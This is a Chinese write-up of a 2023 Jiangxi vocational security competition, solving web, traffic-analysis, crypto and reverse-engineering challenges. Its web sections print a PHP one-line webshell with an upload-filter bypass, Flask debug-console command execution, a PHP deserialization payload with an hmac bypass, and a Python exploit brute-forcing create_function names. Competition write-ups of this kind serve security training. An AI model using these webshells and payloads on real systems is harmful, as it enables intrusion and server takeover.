2023年江西省“振兴杯”网络信息行业(信息安全测试员)职业技能竞赛 Write UP

文章目录

    • 一、2023csy-web1
    • 二、2023csy-web2
    • 三、2023csy-web3
    • 四、2023csy-web4
    • 五、2023csy-misc1
    • 六、2023csy-misc2
    • 七、2023csy-crypto1
    • 八、2023csy-re1

请添加图片描述


一、2023csy-web1

该题提供一个web靶场,《伟大的挑战者》,分值:5分

在这里插入图片描述
web页面一直在播放cavas 动画,显示字体内容为:TEXTArray = [“你”, “永远”, “也”, “看不见”, “我”, “站在”, “窗边”, “最难过”, “的样子”, “因为”, “你”, “知道的”, “在”, “所有”, “看不见”, “你的”, “时候”, “才是”, “最”, “难”, “过”, “的”, “我”, “爱”, “你”]; F12 查看源代码,全局搜索未发现与flag相关的逻辑代码:

在这里插入图片描述

使用 dirsearch 进行目录扫描发现存在 git 泄露

在这里插入图片描述使用 git_extract.py 工具获取git仓库内容,发现 importtant.txt 存在flag:
在这里插入图片描述


二、2023csy-web2

题目提供了一下小蔡博客网站,分值: 8分

在这里插入图片描述
发现网站的注册用户名存在xss漏洞,搞个接码平台看是否能获得管理员的cookie, 可能flag在管理员用户界面里,但是半天解码平台平台没反应,此路不通。使用 dirsearch 进行目录扫描发现 admin/login 以及 src/search.php 路径,发现搜索界面存在sql注入,使用sqlmap进行利用,获得用户名账号和密码:

在这里插入图片描述登录管理员端,存在 /admin/edit.php 路径,可进行文件上传,直接上传一句话木马php会被拦截,如下绕过:
在这里插入图片描述<script language="pHp">@eval($_POST['x'])</script>
使用蚂剑进行连接,发现flag:
在这里插入图片描述


三、2023csy-web3

题目给出 /source 存在一段 python flask 代码
在这里插入图片描述

查看源代码,我们可以看到web服务多个路径。还有一个/get_file路径:

@app.route('/get_file/<path:name>')
def get_file(name):
   return send_from_directory(app.config['FILES_FOLDER'], name, as_attachment=True)

因此,如果我们分析代码,我们会发现两件事,第一件事是应用程序日志被写入/tmp/app中的文件,这也是
**/get_file端点中使用的同一目录。

app.config['FILES_FOLDER'] = '/tmp/app'
logging.basicConfig(filename='/tmp/app/app.log', level=logging.DEBUG, format=f'%
(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')

这样我们就能够获取应用程序日志,但是我们能用它做什么呢?这就是第二个配置错误出现的地方,调试模式已
打开:

if __name__ == '__main__':
   app.run(host='0.0.0.0', port=8000, debug=True)

说明该网站Flask开启debug模式,相当于给hacker留了后门。但我们需要 PIN 码才能访问它,该 PIN 码会在应用程序启动时写入日志。因此,我们需要获取app.log文件并获取将写入其中的控制台 PIN。

要获取日志文件,我们可以使用/get_file路径 http://**/get_file/app.log。在那里我们可以找到控制台的 PIN 码。进入控制台后,我们只需要找到该标志并读取其内容即可。

在这里插入图片描述然后进入后台 http://**/console, 输入:__import__('os').popen('cat /flag').read()

在这里插入图片描述


四、2023csy-web4

题目提供如下PHP源代码,分值:10分

在这里插入图片描述
审计以上代码可以得出两个知识点:hash_hmac绕过 + 反序列化 + 匿名函数爆破。先看 hash_hmac 绕过,代码可以分离成如下:

	$secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));
	$hmac = hash_hmac('sha256', $_GET['password'], $secret);
	if ($_GET['mac'] === $hmac) {
    	show_source("/flag");
	}

当我们给 hash_hmac 第二个参数传递的值为数组的时候,会返回 false。这时 secret 的值我们就可以控制为 false。

在这里插入图片描述
故 payload 为:salt[]=1&password=1&mac=41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523
再看反序列化,代码可以分离成如下:

class Bird {
    public $funcs;
    public $salt;
    public $flag;

    function say_flag() {
    	echo "输出flag";
    }
    function __destruct() {
        $self_func = $this->funcs;
        $self_func();
    }
}
unserialize($_GET['d']);

代码段中存在魔法函数 __destruct,在对象的所有引用都被删除时或者对象被显式销毁时调用,当对象被销毁时自动调用。要想执行 say_flag() 函数,那就要 __destruct() 函数中的 funcs 下手,序列化代码如下:

<?php
class Bird{
    public $funcs=['Bird','say_flag'];
    public $salt;
    public $flag;

    function say_flag(){
       echo "输出flag";
    }
    function __destruct(){
        $self_func=$this->funcs;
        $self_func();
    }
}
$s = new Bird();
echo serialize($d);

在这里插入图片描述

在 PHP 中,类名可以作为字符串被调用,如果类名是当前命名空间的一部分,也可以省略命名空间。这意味着 $this->funcs 中的字符串 ‘Bird’ 在这个上下文中等同于 Bird::。因此,‘Bird’, ‘say_flag’ 实际上等同于 Bird::say_flag()。

故payload为:d=O:4:"Bird":3:{s:5:"funcs";a:2:{i:0;s:4:"Bird";i:1;s:8:"say_flag";}s:4:"salt";N;s:4:"flag";N;}。再看匿名函数,代码可以分离成如下:

if (isset($_GET['p'])) {
    $funcs = create_function("", "unserialize(\$_GET['d']);");
    $_GET['p']();
} else {
    show_source(__FILE__);
}

其实我们只要执行$funcs就可以了,但是我们不知道这个函数的名称,是一个匿名函数。

create_function() 匿名函数爆破漏洞,它create之后会自动生成一个函数名为 %00lambda_%d。%d这个值是一直递增的,这里的%d会一直递增到最大长度直到结束,这里可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的%d会刷新为1。

把上述payload组合到一起,编写 exp 如下:

import requests

url='http://localhost/zxb-csy-web4.php?salt[]=1&password=1&mac=41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523&d=O:4:"Bird":3:{s:5:"funcs";a:2:{i:0;s:4:"Bird";i:1;s:8:"say_flag";}s:4:"salt";N;s:4:"flag";N;}&p=%00lambda_1'

while True:
    r = requests.get(url).text
    if 'Call to undefined function' not in r:
        print(r)
        break

最终解得flag如下:

在这里插入图片描述


五、2023csy-misc1

hacker盗取了敏感信息,分析hacker流量,找到敏感信息。提供 data.pcapng 流量包。分值:5分

查看流量包主要有 TCP、UDP、HTTP 协议,hacker盗取敏感信息大概率是 HTTP 或者 TCP。UDP 几乎没见过,先排除。优先分析 HTTP 流量,如下查看 HTTP 请求序列:

在这里插入图片描述
在这里插入图片描述
看到可疑请求路径 /hack.php, 输入过滤命令:http contains "hack.php"

在这里插入图片描述
http流跟踪发现 f14444444g.php :

在这里插入图片描述
筛选含有 f14444444g.php 的流量包, http contains "f14444444g.php"

在这里插入图片描述
依次查看发现可疑字符串,Base64 解码得到flag:

在这里插入图片描述


六、2023csy-misc2

提供一个流量包 pack.pcapng,找出 flag, 题目未提供提示。分值:8分

wireshark 打开发现很多 dns 协议数据包,而且存在 Base 字眼:

在这里插入图片描述直接使用kali 里面 tshark 命令筛选分离:tshark -r pack.pcapng -Y "dns" -T fields -e dns.qry.name | grep base > dns.txt

在这里插入图片描述
拿去 vscode 快速去重处理得:

在这里插入图片描述
base64 解密得flag:
在这里插入图片描述


七、2023csy-crypto1

根据题目得知为移位的异或, 编写python脚本:

enc = open('flag.enc', 'rb').read()
enc = list(enc)
print(enc)

key = 'zxb'
flag = [0] * len(enc)
print(len(flag))
flag[-1] = ord('}')
for i in range(len(flag)-2, -1, -1):
    flag[i] = flag[i+1] ^ enc[i] ^ ord(key[i%3])
print(bytes(flag))

在这里插入图片描述


八、2023csy-re1

提供一个 fake.exe 文件,逆向分析获得flag。分值:8分

先查看 PE:
在这里插入图片描述
64位程序,使用 ida64 打开,f5 查看伪代码:

在这里插入图片描述
这段代码是一个简单的文件读取和处理程序,它从文件 “flag.txt” 读取 0x13(19)字节的数据,然后进行异或操作,并检查结果是否与某个预定义的字符串 Str2 相匹配。要反推出 “flag.txt” 的内容,在这里,*(&Str1 + i) = i ^ *((_BYTE *)Buffer + i); 表示将文件中每个字节与索引进行异或运算,并将结果存储在 Str1 中。要得到 flag.txt 的内容,您可以创建一个相反的异或操作,将 Str1 中的每个字节与相应的索引再次进行异或。在 ida 里面找到 str2 为:S[]1475XRQUHY]QIQZW

在这里插入图片描述编写脚本:

# 已知的str2值
str2 = "S[]1475XRQUHY]QIQZW"

# 解码函数,根据异或的性质:如果 a ^ b = c 那么 a ^ c = b 以及 b ^ c = a
def decode(encoded_str):
    # 将str2转化为byte array方便进行异或操作
    encoded_bytes = bytearray(encoded_str, 'utf-8')
    # 初始化str1
    str1 = bytearray(len(encoded_bytes))

    # 按照C程序中的流程反向执行异或操作
    for i in range(len(encoded_bytes)):
        # 因为之前是i和字符异或,所以逆运算也是i和字符异或
        str1[i] = i ^ encoded_bytes[i]
    
    # 转换回字符串形式
    return str1.decode('utf-8')

# 使用定义好的decode函数解码str2
decoded_str1 = decode(str2)
print(f"Decoded str1: {decoded_str1}")

得到 flag 为:
在这里插入图片描述但是提交发现一直错误,难道这是陷阱? 查看函数列表发现 TLS 回调函数

代码逆向分析领域中,TLS(Thread Local Storage,线程局部存储)回调函数(Callback Function)常用反调试。TLS回调函数的调用运行要先于EP代码的执行,该特征使它可以作为一种反调试技术的使用。

在这里插入图片描述

查看 TlsCallback_0 函数:

在这里插入图片描述从代码能看出一直在跟 loc_140003000 函数做处理,怀疑是 SMC 自解密技术。

1、SMC,即Self Modifying Code,动态代码加密技术,指通过修改代码或数据,阻止别人直接静态分析,然后在动态运行程序时对代码进行解密,达到程序正常运行的效果。
2、SMC的实现方式有很多种,可以通过修改PE文件的Section Header、使用API Hook实现代码加密和解密、使用VMProtect等第三方加密工具等。
3、SMC一般有俩种破解方法,第一种是找到对代码或数据加密的函数后通过idapython写解密脚本。第二种是动态调试到SMC解密结束的地方dump出来。
在这里插入图片描述

在 return result 打断点,进行动态调试:

在这里插入图片描述卡在 52行,smc 自解密已经完成,直接进入 loc_140003000 函数,U、C、P, F5 一把梭查看到真实代码:

在这里插入图片描述编写 python 脚本如下:

def reverse_function(a1, a2):
    return ~a2 & ~a1

v25 = [-83, -91, -93, -49, -52, -55, -53, -88, -82, -81, -85, -72, -89, -93, -81, -88, -89, -95, -51]
v12 = [0] * 32
arr = [0] * 19

for i in range(19):
    for j in range(200):
        v16 = reverse_function(j, i)
        v17 = reverse_function(i, i)
        v1 = j
        v18 = v1
        v2 = reverse_function(v1, v1)
        v3 = reverse_function(v2, v17)
        v19 = reverse_function(v3, v16) - 1
        v20 = reverse_function(j, i)
        v21 = reverse_function(i, i)
        v4 = j
        v22 = v4
        v5 = reverse_function(v4, v4)
        v6 = reverse_function(v5, v21)
        v7 = reverse_function(v6, v20)
        v12[i] = reverse_function((v7 - 1), v19)
        if v12[i] == v25[i]:
            arr[i] = j

# Convert arr to string and print
result_str = ''.join(chr(x) for x in arr)
print(result_str)

在这里插入图片描述最终flag{SZ_2023_ZX_CUP_WIN!} 为正确答案。


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/229659.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

带大家做一个,易上手的家常辣子鸡

先从冰箱拿出鸡肉解冻 拿小半根葱 去掉最外面一层皮 切成小段 最备好 花椒 干辣椒 准备四五个大料 起锅烧油 这道菜需要放其他菜两到三倍的油 油温上来之后 放入干辣椒和花椒进行翻炒 等它们都烧黑之后捞出来 这样 辣味就留在油里面了 然后 倒入鸡肉 葱段 大料 然后 倒…

内网渗透基础

内网 内网指的是内部局域网&#xff0c;常说的LAN&#xff08;local area network&#xff09;。常见家庭wifi网络和小型的企业网络&#xff0c;通常内部计算机直接访问路由器设备&#xff0c;路由器设备接入移动电信的光纤实现上网。 内部局域网可以通过交换机/防火墙组成多个…

Remix IDE 快速开始Starknet

文章目录 一、Remix 项目二、基于Web的开发环境Remix 在线 IDE三、Starknet Remix 插件如何使用使用 Remix【重要】通过 Starknet by Example 学习一、Remix 项目 Remix 项目网站 在以太坊合约开发领域,Remix 项目享有很高的声誉,为各个级别的开发人员提供功能丰富的工具集…

《洛谷深入浅出进阶篇》p2568 GCD

P2568 GCD - 洛谷 | 计算机科学教育新生态 (luogu.com.cn)https://www.luogu.com.cn/problem/P2568 大致题意&#xff1a;给定正整数n&#xff0c;求1< x,y<n 且 gcd&#xff08;x&#xff0c;y&#xff09;为素数的数对&#xff08;x&#xff0c;y&#xff09;有多少对。…

深入体验:山海鲸可视化软件的独特魅力

山海鲸可视化软件是一款功能强大的数据可视化工具&#xff0c;作为该软件的资深用户&#xff0c;我深感其独特的魅力和优势。下面&#xff0c;我将从软件特点、操作体验、数据交互和实际应用场景等方面&#xff0c;为大家详细介绍山海鲸可视化软件。 首先&#xff0c;山海鲸可视…

TSINGSEE青犀智能商场远程视频监控方案,助力商场统一智能化监管

随着经济的发展和人们物质生活的提高&#xff0c;商场的普及度也越来越高&#xff0c;而商场一般都有占地面积大、人流量多、人员复杂的特点&#xff0c;商场的统一化管理也是一个大问题。智能商场远程视频监控通过利用物联网和云计算技术&#xff0c;可以用来实现远程统一化视…

数据分析基础之《matplotlib(6)—饼图》

一、饼图介绍 1、什么是饼图 饼图广泛的应用在各个领域&#xff0c;用于表示不同分类的占比情况&#xff0c;通过弧度大小来对比各种分类。饼图通过将一个圆饼按照分类的占比划分成多个区块&#xff0c;整个圆饼代表数据的总量&#xff0c;每个区块&#xff08;圆弧&#xff0…

[JSMSA_CTF] 2023年12月练习题 pwn

一开始没给附件&#xff0c;还以为是3个盲pwn结果&#xff0c;pwn了一晚上没出来&#xff0c;今天看已经有附件了。 pwn1 在init_0里使用mallopt(1,0) 设置global_max_fast0 任何块释放都会进入unsort在free函数里没有清理指针&#xff0c;有UAF将v6:0x100清0&#xff0c;便于…

快速开始HarmonyOS开发,学习路线解析

技术特性 鸿蒙OS技术的特性&#xff0c;可以用官方的六句话来概括&#xff1a; 硬件互助&#xff0c;资源共享 Harmonyos为我们提供了分布式软总线、分布式设备虚拟化、分布式数据管理、分布式任务调度这几种通用的终端协调标准&#xff0c;用来作为不同终端设备之间设备通信…

Linux学习笔记3 xshell(lnmp)

xshell能连接虚拟机的前提是真机能够ping通虚拟机网址 装OpenSSL依赖文件 [rootlocalhost nginx-1.12.2]# yum -y install openssl pcre-devel 依赖检测[rootlocalhost nginx-1.12.2]# ./configure [rootlocalhost nginx-1.12.2]# yum -y install zlib [rootlocalhost n…

Linux 文件系统

文章目录 文件系统定义文件系统结构文件创建过程软硬链接原理补充说明 文件系统定义 网络答案&#xff1a;Linux文件系统是Linux操作系统中用于组织和管理文件和目录的一种文件系统。它负责在硬盘上存储和检索文件&#xff0c;并为用户提供对文件的访问和管理功能。 个人理解…

设备温度和振动综合监测:温振一体式传感器的优点和应用

随着工业设备的复杂性和自动化程度的提高&#xff0c;对设备状态监测的需求也日益增加。温振一体式传感器作为一种集振动和温度监测于一体的传感器&#xff0c;具备多项优势&#xff0c;因此在工业设备状态监测领域得到广泛应用。 温振一体式传感器基于振动传感器和温度传感器的…

数字人对话系统 Linly-Talker

&#x1f525;&#x1f525;&#x1f525;数字人对话系统 Linly-Talker&#x1f525;&#x1f525;&#x1f525; English 简体中文 欢迎大家star我的仓库 https://github.com/Kedreamix/Linly-Talker 2023.12 更新 &#x1f4c6; 用户可以上传任意图片进行对话 介绍 Lin…

AIGC创作系统ChatGPT网站源码,Midjourney绘画,GPT联网提问/即将支持TSS语音对话功能

一、AI创作系统 SparkAi创作系统是基于ChatGPT进行开发的Ai智能问答系统和Midjourney绘画系统&#xff0c;支持OpenAI-GPT全模型国内AI全模型。本期针对源码系统整体测试下来非常完美&#xff0c;可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。那么如何搭建部署AI…

文献速递:多模态影像组学文献分享:生成一种多模态人工智能模型以区分甲状腺良性和恶性滤泡性肿瘤:概念验证研究

文献速递&#xff1a;多模态影像组学文献分享&#xff1a;生成一种多模态人工智能模型以区分甲状腺良性和恶性滤泡性肿瘤&#xff1a;概念验证研究 文献速递介绍 近年来&#xff0c;人工智能&#xff08;AI&#xff09;领域日益被探索&#xff0c;作为一种增强传统医学诊断和…

扁平的MutableList元素每隔若干元素一组装入新MutableList,Kotlin

扁平的MutableList元素每隔若干元素一组装入新MutableList&#xff0c;Kotlin fun main(args: Array<String>) {val array arrayOf("a", "b", "c", "d", "e", "f", "g", "h", "i…

php+mysql期末作业小项目

目录 1、登录界面 2、注册界面 3、主界面 4、学生表界面 5 、查询学生界面​编辑 6、修改学生信息界面​编辑 7、删除学生信息界面 8、添加学生信息界面 9、后台数据库​编辑 一个简单的php➕mysql项目学生信息管理系统&#xff0c;用于广大学子完成期末作业的参考&…

驾驭苹果的人工智慧模式:克服反击与应对挑战

苹果一年一度的秋季「春晚」时间越来越近&#xff0c;但在大模型浪潮下&#xff0c;苹果何时推出自己的「苹果GPT」成了另一个关注的话题。 毕竟&#xff0c;前有华为&#xff0c;后有小米&#xff0c;在中国手机厂商争相将大模型装进移动终端的同时&#xff0c;苹果却依旧对A…

Vue 子路由页面发消息给主路由页面 ,实现主页面显示子页面的信息

需求 子页面进入后&#xff0c;能在主页面显示子页的相关信息&#xff0c;比如说主页面的菜单激活的是哪个子页面的菜单项 如上图&#xff0c;当刷新浏览器页面时&#xff0c;让菜单的激活项仍保持在【最近浏览】。 实现方式&#xff1a; 在子页面的create事件中增加&#xff…

3dMax vs Cinema4d哪个更好更适合你?

Cinema 4d和3dMax的区别 用于游戏风格、开发和风格可视化的3D建模、动画和渲染软件系统&#xff0c;为用户提供制作和编辑动画、视觉效果和环境的灵活性。4D CINEMA可能是由MAXON构建的强大的3D建模、运动图形、绘画和动画软件系统。Cinema 4D将在每个Windows和MAC操作系统上运…